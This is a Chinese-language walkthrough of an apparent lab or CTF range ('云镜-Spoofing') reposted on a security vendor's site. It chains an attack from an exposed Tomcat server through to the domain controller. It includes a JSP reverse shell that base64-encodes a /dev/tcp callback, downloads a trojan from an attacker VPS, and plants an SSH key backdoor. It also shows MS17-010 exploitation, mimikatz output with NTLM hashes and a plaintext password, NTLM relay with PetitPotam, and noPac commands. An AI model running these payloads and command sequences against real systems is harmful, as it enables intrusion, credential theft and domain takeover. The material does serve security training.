内网渗透之突破云镜-Spoofing_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

内网渗透之突破云镜-Spoofing

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


内网渗透之突破云镜-Spoofing

原文由作者授权发表,首发在:先知社区 https://xz.aliyun.com/t/13335 外网打点 信息搜集 直接用Fscan扫描下 发现后台,访问 点了点都是前端页面,没什么东西,使用dirsearch扫描后发现 虽然有漏洞点,可以进行文件执行和文件读取,但没有上传点,无法上传,接下来用dirsearch扫描一下 python3 dirsearch.py -u "http://39.99.243.184:8080/" 扫描结果 [07:40:20] Starting: [07:40:22] 302 -    0B  - /js  ->  /js/                                     [07:40:34] 200 -  114B  - /404.html                                         [07:40:40] 400 -  795B  - /\..\..\..\..\..\..\..\..\..\etc\passwd           [07:40:41] 400 -  795B  - /a%5c.aspx                                         [07:41:14] 302 -    0B  - /css  ->  /css/                                   [07:41:15] 302 -    0B  - /data  ->  /data/                                 [07:41:17] 302 -    0B  - /docs  ->  /docs/                                 [07:41:17] 200 -   17KB - /docs/                                             [07:41:17] 302 -    0B  - /download  ->  /download/                         [07:41:18] 200 -  132B  - /download/                                         [07:41:20] 302 -    0B  - /examples  ->  /examples/                         [07:41:20] 200 -    6KB - /examples/servlets/index.html                     [07:41:20] 200 -    1KB - /examples/                                         [07:41:20] 200 -  658B  - /examples/servlets/servlet/CookieExample [07:41:20] 200 -  947B  - /examples/servlets/servlet/RequestHeaderExample   [07:41:20] 200 -  682B  - /examples/jsp/snp/snoop.jsp                       [07:41:26] 403 -    3KB - /host-manager/                                     [07:41:26] 403 -    3KB - /host-manager/html [07:41:27] 302 -    0B  - /images  ->  /images/                             [07:41:29] 200 -    7KB - /index.html                                       [07:41:33] 302 -    0B  - /lib  ->  /lib/                                   [07:41:37] 302 -    0B  - /manager  ->  /manager/                           [07:41:37] 403 -    3KB - /manager/admin.asp [07:41:37] 403 -    3KB - /manager/ [07:41:37] 403 -    3KB - /manager/login                                     [07:41:37] 403 -    3KB - /manager/status/all [07:41:37] 403 -    3KB - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage [07:41:37] 403 -    3KB - /manager/jmxproxy/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY [07:41:37] 403 -    3KB - /manager/jmxproxy [07:41:37] 403 -    3KB - /manager/jmxproxy/?qry=STUFF [07:41:37] 403 -    3KB - /manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage&key=used                                                                                               [07:41:37] 403 -    3KB - /manager/html/ [07:41:37] 403 -    3KB - /manager/VERSION [07:41:37] 403 -    3KB - /manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE [07:41:37] 403 -    3KB - /manager/html [07:41:38] 403 -    3KB - /manager/login.asp                                 [07:41:38] 403 -    3KB - /manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=                                                                                               [07:41:38] 403 -    3KB - /manager/jmxproxy/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow                                                           [07:41:38] 403 -    3KB - /manager/jmxproxy/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS                                                                                             [07:42:11] 403 -    0B  - /upload/                                           [07:42:11] 403 -    0B  - /upload                                           [07:42:12] 403 -    0B  - /upload/b_user.csv                                 [07:42:12] 403 -    0B  - /upload/loginIxje.php [07:42:12] 403 -    0B  - /upload/test.txt                                   [07:42:12] 403 -    0B  - /upload/1.php [07:42:12] 403 -    0B  - /upload/test.php                                   [07:42:12] 403 -    0B  - /upload/b_user.xls                                 [07:42:12] 403 -    0B  - /upload/upload.php                                 [07:42:12] 403 -    0B  - /upload/2.php                                     [07:42:12] 200 -    9KB - /user.html                                                                                                                     Task Completed   访问/docs可以发现是Tomcat 9.0.30,直接搜所相关漏洞,可以发现CNVD-2020-10487漏洞,可以进行任意文件读取和文件包含 漏洞探测 但是我们需要有恶意文件才能包含从而获取权限,因此我们需要找到一个上传接口,正好在web.xml中发现接口UploadTestServlet,访问发现是上传文件接口,上传反弹shell文件,内容如下 <% java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("

"); while((a=in.read(b))!=-1){ out.println(new String(b));  out.print(" 内容来自dedecms 
"); } %> 提交后得到文件 反弹shell 首先监听端口 nc -lvnp 7777 接下来使用脚本进行文件包含 python3 tomcat.py http://39.99.243.184:8080/ 8009 xx.txt   eval 而后在监听处可得到shell,在root/flag文件夹下发现flag 内网横向 信息搜集 使用VIPER生成木马后上传至靶机 攻击机: python3 -m http.server 靶机 wget VPS:PORT/xxx.elf ./xxx.elf 上传后上传fscan和chisel,使用fscan进行C段探测 meterpreter > shell -c './fscan -h 172.22.11.76/24'   ___                              _      / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__|   <     \____/     |___/\___|_|  \__,_|\___|_|\_\                       fscan version: 1.8.3 start infoscan (icmp) Target 172.22.11.76    is alive (icmp) Target 172.22.11.6     is alive (icmp) Target 172.22.11.26    is alive (icmp) Target 172.22.11.45    is alive [*] Icmp alive hosts len is: 4 172.22.11.76:8080 open 172.22.11.76:22 open 172.22.11.26:445 open 172.22.11.45:445 open 172.22.11.6:445 open 172.22.11.45:139 open 172.22.11.26:139 open 172.22.11.6:139 open 172.22.11.26:135 open 172.22.11.45:135 open 172.22.11.6:135 open 172.22.11.76:8009 open 172.22.11.6:88 open [*] alive ports len is: 13 start vulscan [*] NetBios 172.22.11.6     [+] DC:XIAORANG\XIAORANG-DC     [*] NetBios 172.22.11.26    XIAORANG\XR-LCM3AE8B           [*] NetInfo [*]172.22.11.6   [->]XIAORANG-DC   [->]172.22.11.6 [+] MS17-010 172.22.11.45(Windows Server 2008 R2 Enterprise 7601 Service Pack 1) [*] NetInfo [*]172.22.11.26   [->]XR-LCM3AE8B   [->]172.22.11.26 [*] NetBios 172.22.11.45    XR-DESKTOP.xiaorang.lab             Windows Server 2008 R2 Enterprise 7601 Service Pack 1 [*] WebTitle http://172.22.11.76:8080 code:200 len:7091   title:后台管理 已完成 13/13 [*] 扫描结束,耗时: 7.176621862s 代理搭建 使用chisel搭建代理。 VPS ./chisel server -p 7000 -reverse 靶机 攻击域成员一(MS17-010) MSF攻击 刚刚Fscan扫描出了漏洞,直接用msf打就好了 proxychains msfconsoleset payload windows/x64/meterpreter/bind_tcpset RHOSTS 172.22.11.45run 转发上线 使用VIPER转发上线 使用upload上传木马 execute指令执行文件 在C:/Users/Administrator/flag下发现flag 攻击域成员二(PetitPotam强制认证) 票据抓取 列出票据 meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x64/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success.[+] Running as SYSTEM[*] Retrieving all credentialsmsv credentials=============== Username Domain NTLM SHA1-------- ------ ---- ----XR-DESKTOP$ XIAORANG 3c6b049a1558b32aa6d978cc9abdd9d7 1374473614a90526f728fe8b469329d01c55d6e7yangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f wdigest credentials=================== Username Domain Password-------- ------ --------(null) (null) (null)XR-DESKTOP$ XIAORANG d7 17 b7 3e 45 89 1c df 0d b6 c1 ce 72 77 cf 5f 10 94 02 1d e6 bd d6 86 ed 7a 8e c5 97 9d 3b fb a1 0a bc 72 26 fd 6c 4a 0d 2a ab 9a 9d fc 63 c4 13 4f b1 e2 7a 97 dc b8 13 5c d2 be a3 7f 0a 27 a0 a9 2b 80 85 07 76 32 ec da 89 79 01 cb 03 98 8f 4e c0 f1 76 db f5 91 09 ab db 4e 43 f4 49 a0 5b ac 7a c0 7b 82 1b bc 5f 50 2c ef c6 0f 1f 9f f0 fa 62 0d 8e 0b 32 b4 28 c8 45 95 55 82 3b 5d 7b e5 7f 4a 0d 5d 95 15 94 82 61 d4 51 80 8e db 5e 60 29 dd e6 dc bf e7 90 bc dd a0 27 c2 70 78 7c ff 12 6a 5f 7d c9 95 75 78 d1 ba 4b e8 cd a7 f8 3a 7b d0 8a 86 cb 43 88 86 ad b2 33 2e f4 b9 a7 6f 22 d9 50 42 f5 b3 e4 b4 d1 20 b7 07 5c d1 c0 53 a5 9c 64 cf ae b1 fe b6 b5 2f 80 c6 4b 88 9d ca ee b4 97 be 0e 91 74 bb f5 df da cb 07 1dyangmei XIAORANG xrihGHgoNZQ kerberos credentials==================== Username Domain Password-------- ------ --------(null) (null) (null)xr-desktop$ XIAORANG.LAB d7 17 b7 3e 45 89 1c df 0d b6 c1 ce 72 77 cf 5f 10 94 02 1d e6 bd d6 86 ed 7a 8e c5 97 9d 3b fb a1 0a bc 72 26 fd 6c 4a 0d 2a ab 9a 9d fc 63 c4 13 4f b1 e2 7a 97 dc b8 13 5c d2 be a3 7f 0a 27 a0 a9 2b 80 85 07 76 32 ec da 89 79 01 cb 03 98 8f 4e c0 f1 76 db f5 91 09 ab db 4e 43 f4 49 a0 5b ac 7a c0 7b 82 1b bc 5f 50 2c ef c6 0f 1f 9f f0 fa 62 0d 8e 0b 32 b4 28 c8 45 95 55 82 3b 5d 7b e5 7f 4a 0d 5d 95 15 94 82 61 d4 51 80 8e db 5e 60 29 dd e6 dc bf e7 90 bc dd a0 27 c2 70 78 7c ff 12 6a 5f 7d c9 95 75 78 d1 ba 4b e8 cd a7 f8 3a 7b d0 8a 86 cb 43 88 86 ad b2 33 2e f4 b9 a7 6f 22 d9 50 42 f5 b3 e4 b4 d1 20 b7 07 5c d1 c0 53 a5 9c 64 cf ae b1 fe b6 b5 2f 80 c6 4b 88 9d ca ee b4 97 be 0e 91 74 bb f5 df da cb 07 1dxr-desktop$ XIAORANG.LAB (null)yangmei XIAORANG.LAB xrihGHgoNZQ 得到两个用户,机器账号xr-desktop$和用户yangmei。 强制认证 靶场提示了NTLM,因此用cme看下WebClient和petitpotam proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M Webdavproxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -d xiaorang.lab -M PetitPotam 172.22.11.26机器上存在WEBDAV服务 存在PetitPotam。 根据题目描述,那么这里应该是要用到WEBDAV + PetitPotam的强制认证,简单的说就是要求我们用PetitPotam强制目标主机使用LM Hash、NTLM Hash对我们的服务器进行认证,此时我们可以通过该认证中继到其他目标服务器,以此达到横向的目的。 参考了大师傅们的博客,发现这里使用的是无ADCS + PetitPotam + NTLM中继打法,思路大概如下 1、用petitpotam触发目标访问HTTP服务2、目标使用webclient携带NTLM认证访问中继,并将NTLM认证中继到LDAP3、获取到机器账号身份4、以机器账户的身份修改其自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性,从而允许我们访问到目标机器。 中继环境配置 我们需要把服务器的80端口,转发到客户端本地的80端口。 因此先配置下密钥,写下后门。 攻击机ssh-keygen -t rsa -b 4096 cat id_rsa.pub靶机echo "pub中的内容" >/root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys 需要注意的是 由于SSH的反向端口在转发监听的时候只会监听127.0.0.1,所以这里需要稍微改动 即使反向在转发79端口指定监听全部,端口79仍绑定在127.0.0.1。 因此我们可以多加一条,将流量0.0.0.0:80转发到127.0.0.1:79,再反向转发回客户端本地的80,变相使得80监听在0.0.0.0 ssh -i id_rsa root@39.99.243.184 -D SOCKS代理IP:PORT -R \*:79:127.0.0.1:80nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 & 接下来本地开启ntlmrelayx,利用前面抓到的XR-Desktop作为恶意账户设置RBCD proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop --delegate-access 接着使用PetitPotam触发XR-LCM3AE8B强制认证到172.22.11.26 proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26 此时可以看到已经成功获取了认证 接下来用之前抓的机器账户XR-DESKTOP$去打172.22.11.26的RBCD 接下来配置下 export KRB5CCNAME=administrator.ccachesudo vim /etc/hosts#填入内容如下172.22.11.26XR-LCM3AE8B.xiaorang.lab 而后登录即可 攻击域控(noPac) 添加用户 在域成员二拿到权限后,添加管理员用户 密码抓取 RDP登录后上传Mimikatz,抓取密码 privilege::debugsekurlsa::logonpasswords 发现 Authentication Id : 0 ; 744772 (00000000:000b5d44)Session : RemoteInteractive from 2User Name : zhanghuiDomain : XIAORANGLogon Server : XIAORANG-DCLogon Time : 2024/1/22 11:27:21SID : S-1-5-21-3598443049-773813974-2432140268-1133 msv : [00000003] Primary * Username : zhanghui * Domain : XIAORANG * NTLM : 1232126b24cdf8c9bd2f788a9d7c7ed1 得到一个域内用户zhanghui nopac攻击 题目描述中提到了noPac,搜索发现这篇文章https://xz.aliyun.com/t/10694 漏洞原理大致如下 1、我们创建了与DC机器账户名字相同的机器账号(不以$结尾,与CVE-2021-42278结合,此时AD未对域内机器用户名做验证)2、账户请求TGT后,更改账户名字,通过S4U2Self申请TGS 票据3、DC在TGS_REP阶段,这个账户不存在,DC用自己的密钥加密TGS 票据,提供一个属于该账号的PAC,此时得到一个高权限的ST 大致了解了原理,我们接下来进行实践 使用刚刚抓到的账号尝试攻击 proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell 成功获取权限。 这里也可以用一开始抓到的机器用户XR-DESKTOP$,因为它是机器账户,本身就满足条件。 文章来源:亿人安全 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

内网渗透之突破云镜-Spoofing